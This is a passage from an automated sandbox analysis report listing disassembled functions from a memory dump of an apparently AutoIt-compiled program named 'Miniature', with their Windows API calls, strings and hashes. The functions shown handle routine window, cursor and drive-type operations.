SetErrorMode.KERNEL32(00000000,01022C4C,?,\\.\,01020980), ref: 00FFB59C

Strings

SAS, xrefs: 00FFB548
RAID, xrefs: 00FFB53A
Network, xrefs: 00FFB47C
SSA, xrefs: 00FFB525
SCSI, xrefs: 00FFB509
ATAPI, xrefs: 00FFB510
ATA, xrefs: 00FFB517
FileBackedVirtual, xrefs: 00FFB56B
SSD, xrefs: 00FFB4C9
Removable, xrefs: 00FFB490
PhysicalDrive, xrefs: 00FFB3EA
Unknown, xrefs: 00FFB45E, 00FFB502
USB, xrefs: 00FFB533
RAMDisk, xrefs: 00FFB468
\\.\, xrefs: 00FFB3B3
iSCSI, xrefs: 00FFB541
SATA, xrefs: 00FFB54F
MMC, xrefs: 00FFB55D
CDROM, xrefs: 00FFB472
Virtual, xrefs: 00FFB564
Fixed, xrefs: 00FFB486
1394, xrefs: 00FFB51E
Fibre, xrefs: 00FFB52C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 852747cfae9bbd3433174afe85132ebd4bdaa0c5a1e32203ec9ff7c9cb9958ac
Instruction ID: 56cd85b5632f17deee50a629899c40a9c4559c0d2b5230cca7d2895fb566d868
Opcode Fuzzy Hash: 852747cfae9bbd3433174afe85132ebd4bdaa0c5a1e32203ec9ff7c9cb9958ac
Instruction Fuzzy Hash: 0B519FB1B4020DEB8B10EF21C982A7977A0BF45750B3C402AE646EB265D73DEE45FB51

Function 0101A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 0101A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0101A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 0101A1CC

Strings

0, xrefs: 0101A209

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 02cfa5869dc5856e95c3c45bb9ceaac29de913be6faeb466164eb3463a3dbbe9
Instruction ID: c972d80f100c9f96755f5cc2c9921f5c99428e143c6d08a12c9f7e85bf3e2cdc
Opcode Fuzzy Hash: 02cfa5869dc5856e95c3c45bb9ceaac29de913be6faeb466164eb3463a3dbbe9
Instruction Fuzzy Hash: FF02DE3020A381EFE765CF18C848BAABBE4FF89314F048559FAD997299C739D944CB51

Function 0101AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0101AF51
SetTextColor.GDI32(?,?), ref: 0101AF55
GetSysColorBrush.USER32(0000000F), ref: 0101AF6B
GetSysColor.USER32(0000000F), ref: 0101AF76
CreateSolidBrush.GDI32(?), ref: 0101AF7B
GetSysColor.USER32(00000011), ref: 0101AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0101AFA1
SelectObject.GDI32(?,00000000), ref: 0101AFB2
SetBkColor.GDI32(?,00000000), ref: 0101AFBB
SelectObject.GDI32(?,?), ref: 0101AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 0101AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0101AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 0101B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0101B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0101B086
InflateRect.USER32(?,000000FD,000000FD), ref: 0101B0A4
DrawFocusRect.USER32(?,?), ref: 0101B0AF
GetSysColor.USER32(00000011), ref: 0101B0BD
SetTextColor.GDI32(?,00000000), ref: 0101B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0101B0D9
SelectObject.GDI32(?,0101AC1F), ref: 0101B0F0
DeleteObject.GDI32(?), ref: 0101B0FB
SelectObject.GDI32(?,?), ref: 0101B101
DeleteObject.GDI32(?), ref: 0101B106
SetTextColor.GDI32(?,?), ref: 0101B10C
SetBkColor.GDI32(?,?), ref: 0101B116

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 3ba9a69a543306f1f19bb20774dcfe7eb63b2095f0fea2867795cf206e312b6e
Instruction ID: a2fc24f5071e04c9ecf799d6a376ce1ced2f7126c937f40c05ebe90f55c80618
Opcode Fuzzy Hash: 3ba9a69a543306f1f19bb20774dcfe7eb63b2095f0fea2867795cf206e312b6e
Instruction Fuzzy Hash: 95615E71901218EFDF219FA8DC48EAE7BB9FF08320F204155F955AB299D77A9940CF90

Function 01018FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 010190EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 010190FB
CharNextW.USER32(0000014E), ref: 0101912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 0101916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 01019181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01019192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 010191AF
SetWindowTextW.USER32(?,0000014E), ref: 010191FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 01019211
SendMessageW.USER32(?,00001002,00000000,?), ref: 01019242
_memset.LIBCMT ref: 01019267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 010192B0
_memset.LIBCMT ref: 0101930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 01019339
SendMessageW.USER32(?,00001074,?,00000001), ref: 01019391
SendMessageW.USER32(?,0000133D,?,?), ref: 0101943E
InvalidateRect.USER32(?,00000000,00000001), ref: 01019460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 010194AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 010194D7
DrawMenuBar.USER32(?), ref: 010194E6
SetWindowTextW.USER32(?,0000014E), ref: 0101950E

Strings

0, xrefs: 01019478

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 9cdf8ffe58b4d5fd48b66145d07fb9b9b1ad7559f87e7f52fe8f8d12b5dfb43c
Instruction ID: ee53a68eeb2c439a41f5d05551c120574220fd253bc4b66b0a4ba47556095bf8
Opcode Fuzzy Hash: 9cdf8ffe58b4d5fd48b66145d07fb9b9b1ad7559f87e7f52fe8f8d12b5dfb43c
Instruction Fuzzy Hash: CAE1E470900208AFDF619F95CC98EEE7BB8FF09714F108195FA95AB188D7798A81CF51

Function 01014ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 01015007
GetDesktopWindow.USER32 ref: 0101501C
GetWindowRect.USER32(00000000), ref: 01015023
GetWindowLongW.USER32(?,000000F0), ref: 01015085
DestroyWindow.USER32(?), ref: 010150B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 010150DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 010150F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 0101511E
SendMessageW.USER32(?,00000421,?,?), ref: 01015133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 01015146
IsWindowVisible.USER32(?), ref: 01015166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 01015181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 01015195
GetWindowRect.USER32(?,?), ref: 010151AD
MonitorFromPoint.USER32(?,?,00000002), ref: 010151D3
GetMonitorInfoW.USER32(00000000,?), ref: 010151ED
CopyRect.USER32(?,?), ref: 01015204
SendMessageW.USER32(?,00000412,00000000), ref: 0101526F

Strings

tooltips_class32, xrefs: 010150D3
0, xrefs: 01014FB2
(, xrefs: 010151E0

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 436088b17cbbff83b37e6a80e377341ffc651cf4ac8e8c5cc746a8504a1ed477
Instruction ID: 501e2e424086abe3a7fd1414726b21171800c1cce1eed845193fe85617058019
Opcode Fuzzy Hash: 436088b17cbbff83b37e6a80e377341ffc651cf4ac8e8c5cc746a8504a1ed477
Instruction Fuzzy Hash: F2B19C71604300AFEB55DF64CC88B6ABBE4BF89710F008A1CF5D99B295D779E805CB91

Function 00FF498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00FF499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00FF49C2
_wcscpy.LIBCMT ref: 00FF49F0
_wcscmp.LIBCMT ref: 00FF49FB
_wcscat.LIBCMT ref: 00FF4A11
_wcsstr.LIBCMT ref: 00FF4A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00FF4A38
_wcscat.LIBCMT ref: 00FF4A81
_wcscat.LIBCMT ref: 00FF4A88
_wcsncpy.LIBCMT ref: 00FF4AB3

Strings

04090000, xrefs: 00FF4A6E
StringFileInfo\, xrefs: 00FF4A0B
\VarFileInfo\Translation, xrefs: 00FF4A30
DefaultLangCodepage, xrefs: 00FF4A9B
%u.%u.%u.%u, xrefs: 00FF4B16

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 128c0144232bcb6fce8b4b5430be1fd08c774ee2c12dc3f836f5540f6e0bbb25
Instruction ID: 12adc99b82ff1874a3e5344b0fa20ff9e2e15ffd0e568137b06b14c301a92eb2
Opcode Fuzzy Hash: 128c0144232bcb6fce8b4b5430be1fd08c774ee2c12dc3f836f5540f6e0bbb25
Instruction Fuzzy Hash: 7B410772A402187BD710BB768D47EFF776CEF45720F100059FA04A6153EB38EA01BAA5

Function 00F92BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00F92C8C
GetSystemMetrics.USER32(00000007), ref: 00F92C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00F92CBF
GetSystemMetrics.USER32(00000008), ref: 00F92CC7
GetSystemMetrics.USER32(00000004), ref: 00F92CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00F92D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00F92D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00F92D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00F92D60
GetClientRect.USER32(00000000,000000FF), ref: 00F92D7E
GetStockObject.GDI32(00000011), ref: 00F92D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00F92DA5

Part of subcall function 00F92714: GetCursorPos.USER32(?), ref: 00F92727
Part of subcall function 00F92714: ScreenToClient.USER32(010577B0,?), ref: 00F92744
Part of subcall function 00F92714: GetAsyncKeyState.USER32(00000001), ref: 00F92769
Part of subcall function 00F92714: GetAsyncKeyState.USER32(00000002), ref: 00F92777

SetTimer.USER32(00000000,00000000,00000028,00F913C7), ref: 00F92DCC

Strings

AutoIt v3 GUI, xrefs: 00F92D44

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 7c48b27b7d59491b6516877dcf33cdbe5aa3e4ac723b5da868b5c8d012577be8
Instruction ID: 08727224cdcdcd37b442843255b4756cd66783d4ba74814ee1dafa212c3b5203
Opcode Fuzzy Hash: 7c48b27b7d59491b6516877dcf33cdbe5aa3e4ac723b5da868b5c8d012577be8
Instruction Fuzzy Hash: 07B17071A0030AAFEF64DFA8DD45FAE7BB4FB48320F104119FA55A7284DB799841EB50

Function 00FB0429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

GetForegroundWindow.USER32(01020980,?,?,?,?,?), ref: 00FB04E3
IsWindow.USER32(?), ref: 00FE66BB

Strings

INSTANCE, xrefs: 00FE65FA
LAST, xrefs: 00FE6472
ALL, xrefs: 00FE6622
CLASS, xrefs: 00FE64E5
TITLE, xrefs: 00FE6650
ACTIVE, xrefs: 00FE6488
REGEXPCLASS, xrefs: 00FE6506
HANDLE, xrefs: 00FE649E
REGEXPTITLE, xrefs: 00FE64B4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 4c6f85e7d6f8852f50be36cf656d1f4d410838026b587e482496c01d973d3a76
Instruction ID: b03d4920a39ef56a4c5a94a9e4709e2c505b56ceca007c8caa1713dbc889d84a
Opcode Fuzzy Hash: 4c6f85e7d6f8852f50be36cf656d1f4d410838026b587e482496c01d973d3a76
Instruction Fuzzy Hash: F9D13770504346DFCB14EF22C880A9ABBB1BF65394F204A19F496871A1DF34F959EF91

Function 0101441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 010144AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 0101456C

Strings

GETSELECTEDCOUNT, xrefs: 0101454F
SELECT, xrefs: 01014606
GETTEXT, xrefs: 01014515
VIEWCHANGE, xrefs: 0101472B
FINDITEM, xrefs: 010146DF
SELECTINVERT, xrefs: 0101463C
ISSELECTED, xrefs: 01014577
SELECTCLEAR, xrefs: 010145EB
DESELECT, xrefs: 0101465A
GETSELECTED, xrefs: 0101469A
GETITEMCOUNT, xrefs: 010144DE
GETSUBITEMCOUNT, xrefs: 010144F7
SELECTALL, xrefs: 010145D3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 37d5cfaa4366cc6f87ba640559d6c4ac2137d93f3dac00144f00a74fde11114e
Instruction ID: 51340ffed9969d65667a397265183747f02f8c009bf7f1c0c2afa1bafc6cb248
Opcode Fuzzy Hash: 37d5cfaa4366cc6f87ba640559d6c4ac2137d93f3dac00144f00a74fde11114e
Instruction Fuzzy Hash: BDA18E702143019FDB14EF24CD51A6AB7A5BF89314F108968F9D69B2E6DF38EC06CB91

Function 010056C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 010056E1
LoadCursorW.USER32(00000000,00007F8A), ref: 010056EC
LoadCursorW.USER32(00000000,00007F00), ref: 010056F7
LoadCursorW.USER32(00000000,00007F03), ref: 01005702
LoadCursorW.USER32(00000000,00007F8B), ref: 0100570D
LoadCursorW.USER32(00000000,00007F01), ref: 01005718
LoadCursorW.USER32(00000000,00007F81), ref: 01005723
LoadCursorW.USER32(00000000,00007F88), ref: 0100572E
LoadCursorW.USER32(00000000,00007F80), ref: 01005739
LoadCursorW.USER32(00000000,00007F86), ref: 01005744
LoadCursorW.USER32(00000000,00007F83), ref: 0100574F
LoadCursorW.USER32(00000000,00007F85), ref: 0100575A
LoadCursorW.USER32(00000000,00007F82), ref: 01005765
LoadCursorW.USER32(00000000,00007F84), ref: 01005770
LoadCursorW.USER32(00000000,00007F04), ref: 0100577B
LoadCursorW.USER32(00000000,00007F02), ref: 01005786
GetCursorInfo.USER32(?), ref: 01005796
GetLastError.KERNEL32(00000001,00000000), ref: 010057C1

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: c6c303cb6d91a311a925c2eb798708a007cdfa72f7712478c3380667c0614e37
Instruction ID: 7223530c7fc64263de99aff7fb90b9817a0b3ba3d61e3083d6a362bfe87e6ba5
Opcode Fuzzy Hash: c6c303cb6d91a311a925c2eb798708a007cdfa72f7712478c3380667c0614e37
Instruction Fuzzy Hash: AF414470E043196ADB509FBA8C49D6EFEF8EF51B10F10452BE549E7290DAB865018F91

Function 00FEB13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00FEB17B
__swprintf.LIBCMT ref: 00FEB21C
_wcscmp.LIBCMT ref: 00FEB22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00FEB284
_wcscmp.LIBCMT ref: 00FEB2C0
GetClassNameW.USER32(?,?,00000400), ref: 00FEB2F7
GetDlgCtrlID.USER32(?), ref: 00FEB349
GetWindowRect.USER32(?,?), ref: 00FEB37F
GetParent.USER32(?), ref: 00FEB39D
ScreenToClient.USER32(00000000), ref: 00FEB3A4
GetClassNameW.USER32(?,?,00000100), ref: 00FEB41E
_wcscmp.LIBCMT ref: 00FEB432
GetWindowTextW.USER32(?,?,00000400), ref: 00FEB458
_wcscmp.LIBCMT ref: 00FEB46C

Part of subcall function 00FB385C: _iswctype.LIBCMT ref: 00FB3864

Strings

%s%u, xrefs: 00FEB216

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: b0b3526227745fd3741ce39e84861cfa3c9ca1ad097677a3bac22e173dc55780
Instruction ID: 74374998336b6153042779f8b674a78293f6d5f4274a2552f62f159685d3e0df
Opcode Fuzzy Hash: b0b3526227745fd3741ce39e84861cfa3c9ca1ad097677a3bac22e173dc55780
Instruction Fuzzy Hash: EFA1F071604346EFD724DF22C884BEBB7A8FF44324F204629F999C2191EB34E905DB91

Function 00FEBA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00FEBAB1
_wcscmp.LIBCMT ref: 00FEBAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00FEBAEA
CharUpperBuffW.USER32(?,00000000), ref: 00FEBB07
_wcscmp.LIBCMT ref: 00FEBB25
_wcsstr.LIBCMT ref: 00FEBB36
GetClassNameW.USER32(00000018,?,00000400), ref: 00FEBB6E
_wcscmp.LIBCMT ref: 00FEBB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 00FEBBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 00FEBBEE
_wcscmp.LIBCMT ref: 00FEBBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 00FEBC26
GetWindowRect.USER32(00000004,?), ref: 00FEBC8F

Strings

ThumbnailClass, xrefs: 00FEBB79, 00FEBBF9
@, xrefs: 00FEBA92

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 2842d8117e8a9af8e6c82f7d573fa30818d8f0c19b1ee275a613cf33192d9e6d
Instruction ID: 47f0a572625a92e1b8e57db98e900a2439abe3c0ab2741368599e8ada1aa1f11
Opcode Fuzzy Hash: 2842d8117e8a9af8e6c82f7d573fa30818d8f0c19b1ee275a613cf33192d9e6d
Instruction Fuzzy Hash: 9381E4714083869BDB10DF16C885FAB77E8FF84324F248469FD898A096DB38DD45DB61

Function 00FEB8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00FEB915

Strings

[ACTIVE, xrefs: 00FEB902
LAST, xrefs: 00FEB8DA
HANDLE=, xrefs: 00FEB90E
[REGEXPTITLE:, xrefs: 00FEB93D
[CLASS:, xrefs: 00FEB965
REGEXP=, xrefs: 00FEB92A
ALL, xrefs: 00FEB9A9
ACTIVE, xrefs: 00FEB8F0
[HANDLE:, xrefs: 00FEB921
